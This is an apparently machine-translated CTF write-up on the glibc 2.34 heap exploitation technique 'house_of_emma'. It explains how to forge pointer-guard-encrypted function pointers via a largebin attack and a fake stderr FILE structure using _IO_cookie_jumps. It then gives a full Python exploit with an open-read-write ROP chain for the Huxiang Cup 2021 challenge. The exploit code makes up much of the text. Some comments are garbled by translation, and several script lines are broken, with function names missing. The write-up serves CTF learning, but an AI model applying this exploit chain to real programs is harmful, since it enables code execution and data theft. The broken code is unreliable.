house_of_emma
Preface:
Compared to house_of_kiwi (house_of_kiwi), house_of_emma is a more ****ty and powerful maneuver, with more lenient conditions, and only requires lagebin_attack to accomplish.
Of course, the two together because they both use __malloc_assest to refresh the IO stream, the difference is that house_of_kiwi is by modifying the pointer to the calling function, as well as modifying the offset of the rdx (_IO_heaper_jumps) to achieve the purpose of the conditions need to be written twice to an arbitrary address, relatively speaking, it is more demanding, and then house_of_emma, on the other hand, exploits the legitimacy of the vtable address, and finds a function _IO_cookie_read in a place that matches the vtable, which exists in _IO_cookie_jumps, which can be looked at.
pwndbg> p _IO_cookie_jumps
$1 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7bc53c683dc0 <_IO_new_file_finish>,
__overflow = 0x7bc53c684790 <_IO_new_file_overflow>,
__underflow = 0x7bc53c684480 <_IO_new_file_underflow>,
__uflow = 0x7bc53c685560 <__GI__IO_default_uflow>,
__pbackfail = 0x7bc53c686640 <__GI__IO_default_pbackfail>,
__xsputn = 0x7bc53c6839b0 <_IO_new_file_xsputn>,
__xsgetn = 0x7bc53c685740 <__GI__IO_default_xsgetn>,
__seekoff = 0x7bc53c678ae0 <_IO_cookie_seekoff>,
__seekpos = 0x7bc53c685900 <_IO_default_seekpos>,
__setbuf = 0x7bc53c6826d0 <_IO_new_file_setbuf>,
__sync = 0x7bc53c682560 <_IO_new_file_sync>,
__doallocate = 0x7bc53c677ef0 <__GI__IO_file_doallocate>,
__read = 0x7bc53c6789c0 <_IO_cookie_read>,
__write = 0x7bc53c6789f0 <_IO_cookie_write>,
__seek = 0x7bc53c678a40 <_IO_cookie_seek>,
__close = 0x7bc53c678aa0 <_IO_cookie_close>,
__stat = 0x7bc53c6867a0 <_IO_default_stat>,
__showmanyc = 0x7bc53c6867d0 <_IO_default_showmanyc>,
__imbue = 0x7bc53c6867e0 <_IO_default_imbue>
}
You can see that it is located at _IO_cookie_jumps+0x38+0x38, as to why not write _IO_cookie_jumps+0x70, so as to make it easier to understand later.
Let's take a look at what _IO_cookie_read does
0x7bc53c6789c0 <_IO_cookie_read> endbr64
0x7bc53c6789c4 <_IO_cookie_read+4> mov rax, qword ptr [rdi + 0xe8]
0x7bc53c6789cb <_IO_cookie_read+11> ror rax, 0x11
0x7bc53c6789cf <_IO_cookie_read+15> xor rax, qword ptr fs:[0x30] #encryption
0x7bc53c6789d8 <_IO_cookie_read+24> test rax, rax
► 0x7bc53c6789db <_IO_cookie_read+27> je _IO_cookie_read+38 <_IO_cookie_read+38>
0x7bc53c6789dd <_IO_cookie_read+29> mov rdi, qword ptr [rdi + 0xe0]
0x7bc53c6789e4 <_IO_cookie_read+36> jmp rax #call rax
You can see the call rax, that is, if we control the rax, then we can control the program flow, but before that, you can see that the rax is decrypted, and the rax is shifted to the right by 0x11 in the loop, and then it is differentiated from the position at fs+0x30 to get the final rax.
Finally went and looked it up, and this is the glibcPointerEncryption(from pointer encryption), is a way for glibc to protect pointers. glibc explains it like this: pointer encryption is a security feature of glibc designed to make it more difficult for an attacker to manipulate pointers (especially function pointers) in glibc structures. This feature is also known as "pointer modification" or "pointer guarding".
This value is stored in the TLS segment, normally we can't leak it, but we can write a heap block address into it via largebin_attack, then the key becomes a pointer to the heap block, so we just need to encrypt it accordingly to control the rax to an arbitrary address. So if we control the rax to be the address of system("/bin/sh"), then we can jump to the shell here.
However, there is another problem, that is, if the program uses the sandbox to disable the execve, then it still needs to be migrated, and it needs to use setcontext, but we know that this function then glibc2.29 after the control of the registers from the original rdi to rdx, that is, we want to control the value of rdx, but when the value in the_IO_cookie_read, you will find that the value of rdx is 0 at this point, and rdi is also the fake_io heap block that we faked, so a gadget is needed to both move rdi to rdx and continue the next program flow.
Then one can find a gadget like this
This gadget can address rdi+8 to rdx, and finally call rdx+0x20 then we can continue to control the program flow.
How to control it, if the place of rdx+0x20 to setcontext+61, you can continue to control the position of rdx+0xe0 and rdx+0xe8, then you can control the program flow for orw
Example question:[Huxiang Cup 2021] house_of_emma
This topic is a vm topic where you need to enter the opcode to perform the appropriate effect. But we center of gravity on house_of_emma, but this opcode can look at the last exp, and it's not difficult to understand, similar to the instructions you enter 8-bit split
The add function requests a heap block size between 0x40f and 0x500.
The edit function cannot modify data outside of a heap block.
The problem is with the free function, which has a uaf vulnerability
show function
Analysis:
This question libc give 2.34, then __free_hook, malloc_hook, etc. was removed, of course, because of the existence of UAF, but also can edit, then leak libc address and heap address will be very easy, we have to fake IO chain, because the last will use stdder to achieve the error output, so we can hijack the chain, the We can hijack the chain by giving _lock as a legitimate address and vtable as a_IO_cookie_jumps + 0x38, mentioned earlier this is because it will end up call _IO_cookie_jumps + 0x38 plus the address of 0x38, it will go to _IO_cookie_read, and then use call rax's gadget to set up the rdx, and then call rdx + 0x20 into the setcontxt + 61,then it's orw.
EXP:
from gt import *
con("amd64")
libc = ELF("./.6")
io = process("emma")
opcode = b""
def add(index,size):
global opcode
opcode += b'\x01'+p8(index)+p16(size)
def free(index):
global opcode
opcode += b'\x02'+p8(index)
def show(index):
global opcode
opcode += b'\x03'+p8(index)
def edit(index,msg):
global opcode
opcode += b'\x04' + p8(index) + p16(len(msg)) + msg
def run():
global opcode
opcode += b'\x05'
("Pls input the opcode",opcode)
opcode = b""
# encryption function Cyclic left shift
def rotate_left_64(x, n):
# Ensure that the number of bits moved in the0-63among
n = n % 64
# Left shift firstnclassifier for honorific people
left_shift = (x << n) & 0xffffffffffffffff
# Then move right64-nclassifier for honorific people,将左移时超出的classifier for honorific people移动回来
right_shift = (x >> (64 - n)) & 0xffffffffffffffff
# Consolidation of the two parts
return left_shift | right_shift
add(0,0x410)
add(1,0x410)
add(2,0x420)
add(3,0x410)
free(2)
add(4,0x430)
show(2)
run()
("Done")
("Done")
("Done")
("Done")
("Done")
("Done\n")
libc_base = u64((6).ljust(8,b'\x00')) -0x1f30b0
suc("libc_base",libc_base)
pop_rdi_addr = libc_base + 0x000000000002daa2 #: pop rdi; ret;
pop_rsi_addr = libc_base + 0x0000000000037c0a #: pop rsi; ret;
pop_rdx_r12 = libc_base + 0x00000000001066e1 #: pop rdx; pop r12; ret;
pop_rax_addr = libc_base + 0x00000000000446c0 #: pop rax; ret;
syscall_addr = libc_base + 0x00000000000883b6 #: syscall; ret;
setcontext_addr = libc_base + ["setcontext"]
stderr = libc_base + ["stderr"]
open_addr = ['open']+libc_base
read_addr = ['read']+libc_base
write_addr = ['write']+libc_base
#suc("guard",guard)
_IO_cookie_jumps = libc_base + 0x1f3ae0
edit(2,b'a'*0x10)
show(2)
#(io)
run()
("a"*0x10)
heap_base = u64((6).ljust(8,b'\x00')) -0x2ae0
suc("heap_base",heap_base)
guard = libc_base+ 0x20d770
suc("guard",guard)
free(0)
payload = p64(libc_base + 0x1f30b0)*2 + p64(heap_base +0x2ae0) + p64(stderr - 0x20)
edit(2,payload)
add(5,0x430)
edit(2,p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(0, 0x410)
add(2, 0x420)
run()
free(2)
add(6,0x430)
free(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(guard - 0x20))
add(7, 0x450)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(2, 0x420)
add(0, 0x410)
#(io)
run()
free(7)
add(8, 0x430)
edit(7,b'a' * 0x438 + p64(0x300))
run()
flag = heap_base + 0x22a0 + 0x260
orw =p64(pop_rdi_addr)+p64(flag)
orw+=p64(pop_rsi_addr)+p64(0)
orw+=p64(pop_rax_addr)+p64(2)
orw+=p64(syscall_addr)
orw+=p64(pop_rdi_addr)+p64(3)
orw+=p64(pop_rsi_addr)+p64(heap_base+0x1050) # slave address readoutflag
orw+=p64(pop_rdx_r12)+p64(0x30)+p64(0)
orw+=p64(read_addr)
orw+=p64(pop_rdi_addr)+p64(1)
orw+=p64(pop_rsi_addr)+p64(heap_base+0x1050) # slave address readoutflag
orw+=p64(pop_rdx_r12)+p64(0x30)+p64(0)
orw+=p64(write_addr)
gadget = libc_base + 0x146020 # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
chunk0 = heap_base + 0x22a0
xor_key = chunk0
suc("xor_key",xor_key)
fake_io = p64(0) + p64(0) # IO_read_end IO_read_base
fake_io += p64(0) + p64(0) + p64(0) # IO_write_base IO_write_ptr IO_write_end
fake_io += p64(0) + p64(0) # IO_buf_base IO_buf_end
fake_io += p64(0)*8 #_IO_save_base ~ _codecvt
fake_io += p64(heap_base) + p64(0)*2 #_lock _offset _codecvt
fake_io = fake_io.ljust(0xc8,b'\x00')
fake_io += p64(_IO_cookie_jumps+0x38) #vtable
rdi_data = chunk0 + 0xf0
rdx_data = chunk0 + 0xf0
encrypt_gadget = rotate_left_64(gadget^xor_key,0x11)
fake_io += p64(rdi_data)
fake_io += p64(encrypt_gadget)
fake_io += p64(0) + p64(rdx_data)
fake_io += p64(0)*2 + p64(setcontext_addr + 61)
fake_io += p64(0xdeadbeef)
fake_io += b'a'*(0xa0 - 0x30)
fake_io += p64(chunk0+0x1a0)+p64(pop_rdi_addr+1)
fake_io += orw
fake_io += p64(0xdeadbeef)
fake_io += b'flag\x00\x00\x00\x00'
edit(0,fake_io)
run()
add(9,0x4c0)
(io)
run()
()
gdaget call rax
call setcontext +61
Realization of the migration
final result
Summary:
I personally feel that this power is still not small, but hit the remote then need to burst tls address this is more trouble, both house_of_kiwi and house_of_emma are utilized __malloc_assest, but unfortunately, this function in the later libc, can not deal with IO, and finally even removed, but in the versions before this can still be utilized.
The attachment for this last topic is available on top of the NSSCTF platform for interested masters to try.
The best way to predict the future is to create it.